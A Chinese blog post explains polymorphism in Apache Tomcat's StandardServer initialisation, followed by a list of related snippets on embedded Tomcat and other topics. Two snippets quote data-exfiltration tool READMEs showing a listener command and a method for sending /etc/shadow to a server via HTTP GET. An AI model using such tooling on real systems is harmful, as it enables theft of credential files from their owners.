getServer().init()其实就是调用server的init函数,但是server是个interface,还要看其在new的时候,这个就是多态。
digester.addObjectCreate("Server",
"org.apache.catalina.core.StandardServer",
"className");
digester.addSetProperties("Server");
digester.addSetNext("Server",
"setServer",
"org.apache.catalina.Server");
上面的句子就类似于
Server server = new StandardServer();
server.init();
具体的继承关系的部分如图
源代码很好的运用了interface和抽象类,并且继承和接口实现都有运用。可以很好的理解接口和抽象类的关系。
依照这个UML图,写了个小的demo还分析,打包在附件中,interface和class在多态上的作用。
运行了如下语句,结果发现结果一样。
Server server = new StandardServer();
server.init();
LifecycleMbeanBase lserver = new StandardServer();
lserver.init();
Lifecycle lcserver = new StandardServer();
lcserver.init();
StandardServer既实现了接口server,又继承了来自server父类lifecycle(也是一个接口)实现的类LifecycleMbeanBase 。
这个关系就显的复杂了,到底在多态的时候怎么运作的?
可否这样认为:1. 实现接口,也是一定意义上的继承 2.接口的方法,最终运行还要看它实现的类
StandardServer最终拥有了server,lifecycle,MBeanRegistration三个特征。
server--定义很多例如全局Naming资源,端口号,地址等
lifecycle--规定了整个运行的状态,例如初始化后的状态可以使stop,也可以是starting,然后是started等。有点类似于状态机。
MBeanRegistration--资源的注册,涉及到JVM的管理
- 大小: 37.2 KB
分享到:
相关推荐
StandardServer server = (StandardServer) bootstrap.getServer(); server.setPort(8080); // 设置监听端口 bootstrap.start(); // 启动Tomcat // 在此处添加你的业务逻辑 bootstrap.stop(); // 停止Tomcat }...
- **服务器初始化**:通过`getServer().setCatalina(this)`设置`Catalina`对象与服务器对象之间的关联,然后调用`getServer().init()`进行初始化。 6. **StandardServer初始化**: - 在`init`方法中,遍历所有的...
====================research the source about apache-tomcat-7.0.57======...引领一个初始化流程:通过反射调用 Catalina.load()方法--> getServer().init() -引 发->LifecycleBase.init()->StandardServer.initI
创建一个Java类,该类负责初始化和启动Tomcat服务器。这通常涉及到以下几个步骤: - 实例化`org.apache.catalina.startup.Tomcat`对象。 - 设置Tomcat的工作目录(`baseDir`),这通常是存放配置文件和日志的地方。...
Embeded Tomcat是指将Tomcat服务器作为Java应用程序的一部分,在代码中直接初始化和管理,而不是作为一个独立的服务运行。这为开发者提供了灵活性,可以在构建和测试阶段轻松地集成和部署Web应用。 要使用embeded ...
# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETServer -lp 80 -o output.log 客户 $ ./exfilkit-cli.py -m exfilkit.methods....
棒棒糖░▒▓ ...渗透方法/ etc / shadow-> HTTP GET请求服务器# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETServer -lp 80 -o output.log客户$ ./lollipopz-cli.py -m lollipopz.methods....
4. **资源节省**:由于每个应用都有自己的Tomcat实例,避免了多应用共享服务器可能导致的资源竞争,提升了项目的执行效率。 5. **测试友好**:在单元测试和集成测试中,可以快速启动和停止Tomcat,便于自动化测试。...
1. **初始化配置**: ```java Properties props = System.getProperties(); props.put("mail.smtp.host", mitem.getServer()); props.put("mail.smtp.auth", "true"); ``` - `Properties`对象用于存储邮件服务...
2. **初始化Tomcat**:创建一个`Tomcat`实例,并设置web应用的根目录(通常是`WebappBase`),例如`new Tomcat().setBaseDir(".")`,这表示当前目录为web应用的基础目录。 3. **配置Context**:添加`Context`对象,...
server.getServer().setEndpointFactory( new JettyHTTPServerEngineFactory(server.getBus())); server.create(); } } ``` 综上所述,CXF 提供了一套完整的工具和组件,可帮助开发者快速构建和部署高质量的 ...
2. **初始化Tomcat**:创建`org.apache.catalina.startup.Tomcat`对象,并配置服务器端口、Web应用上下文路径等。 3. **添加Web应用**:使用`Tomcat.addWebapp()`方法将应用的WAR文件或目录添加到服务器中。 4. **...
在本篇文章中,我们将探讨如何对 Spring Boot 内嵌的 Tomcat 进行个性化配置。 首先,Spring Boot 提供了 `TomcatEmbeddedServletContainerFactory` 类来定制 Tomcat 容器的行为。通过扩展这个类并覆盖其方法,我们...
* JAR files found in the "server" directory under "catalina.home"), and * starts the regular execution of the container. The purpose of this * roundabout approach is to keep the Catalina internal ...
Delphi,作为一款强大的Windows应用程序开发工具,提供了丰富的支持来实现OLE通信,包括客户端(Client)和服务器(Server)的交互。本篇文章将深入探讨如何使用Delphi实现OLE客户端和服务器的通信。 首先,我们要...
@RequestMapping("/getServer") public String getServerInstance(){ List<ServiceInstance> list = discoveryClient.getInstances("consul-order"); for (ServiceInstance serviceInstance : list) { if...
接下来,编写Java代码来初始化和管理嵌入式Tomcat。以下是一个简单的示例: ```java import org.apache.catalina.startup.Tomcat; public class Main { public static void main(String[] args) throws Exception...
4. `src/main/plugin.yml`:插件的核心配置文件,定义插件的元数据,如名称、版本、作者等。 三、Maven构建流程 1. `mvn clean`:清理上一次构建生成的文件,确保新的构建从头开始。 2. `mvn compile`:编译源代码...
Node.js在启动时会检查NODE_UNIQUE_ID环境变量,根据其值决定是执行master进程的初始化代码(masterInit)还是worker进程的初始化代码(workerInit)。 workerInit函数中定义的cluster._getServer方法会拦截...